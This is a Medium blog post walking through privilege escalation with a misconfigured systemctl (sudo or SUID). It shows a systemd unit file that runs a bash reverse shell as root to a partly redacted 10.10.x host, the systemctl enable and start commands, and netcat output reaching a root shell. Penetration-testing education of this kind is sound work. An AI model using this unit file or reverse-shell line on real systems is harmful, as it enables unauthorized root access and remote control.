Open in app Get started

Samuel Whang Follow
Nov 3, 2019 · 2 min read · Listen

Save

Privilege Escalation: Systemctl (Misconfigured Permissions — sudo/SUID)

The binary, *systemctl*, is a process that exists in linux operating systems that is used to start different services, such as apache servers. Because of the level of impact that *systemctl* can have on the system, it's generally reserved for privileged users, such as system administrators. There are instances where permissions for *systemctl* may be misconfigured allowing for opportunities to leverage it into privilege escalation. For example, there may be entries in the /etc/sudoers file that allows a low privileged user to execute systemctl with root level privileges, or *systemctl* may be configured with SUID permissions which provides low privileged users access to the binary. In this blog, we're going to discuss how to do this assuming you have privileges to access *systemctl*.

Creating systemd unit files

First we're going to create a systemd unit file which is where *systemctl* references when starting a service. A good reference on the structure of this file is located here: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/system_administrators_guide/sect-managing_services_with_systemd-unit_files.

We first need to a find a writable directory on the target file system. In this case, I used my current user's home directory and called the file *root.service*. The content of the file is displayed below:

Open in app Get started

```
[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.10.[redacted]/9999 0>&1'

[Install]
WantedBy=multi-user.target
```

Figure 1: Content of root.service

It's important to make sure that the *User* value is set to the user you want *systemctl* to execute the service as. In this case, I set this value to *root* because my goal is to obtain a root level shell. The *ExecStart* parameter is where we need to place our payload. In this case, I am using a one-line bash reverse shell.

Payload Execution

Before we can execute our *root.service* file, we need to place it onto the target file system if it's not there already. Once that is done, we just need to use *systemctl* to start our custom service. To do this, we first need to set up our listener. Once we do that, we need to make sure we specify our *root.service* file location in our *systemctl* command arguments.

```
[redacted]@[redacted]:~$ /bin/systemctl enable /home/[redacted]/root.service
/bin/systemctl enable /home/[redacted]/root.service
Created symlink /etc/systemd/system/multi-user.target.wants/root.service -> /home/[redacted]/root.service.
Created symlink /etc/systemd/system/root.service -> /home/[redacted]/root.service.
[redacted]@[redacted]:~$ /bin/systemctl start root
/bin/systemctl start root
```

Figure 2: systemctl payload execution

After we start the service, we should see a root level shell in our listener.

```
root@kali:~/Desktop# nc -lvp 9999
listening on [any] 9999 ...
10.10.[redacted]: inverse host lookup failed: Unknown host
connect to [10.10.[redacted]] from (UNKNOWN) [10.10.[redacted]] 38732
bash: cannot set terminal process group (1212): Inappropriate ioctl for device
bash: no job control in this shell
root@[redacted]:/# id
id
uid=0(root) gid=0(root) groups=0
```

213 1

Figure 3: Root level shell in reverse listener

Open in app Get started

About Help Terms Privacy

Get the Medium app

Download on the App Store GET IT ON Google Play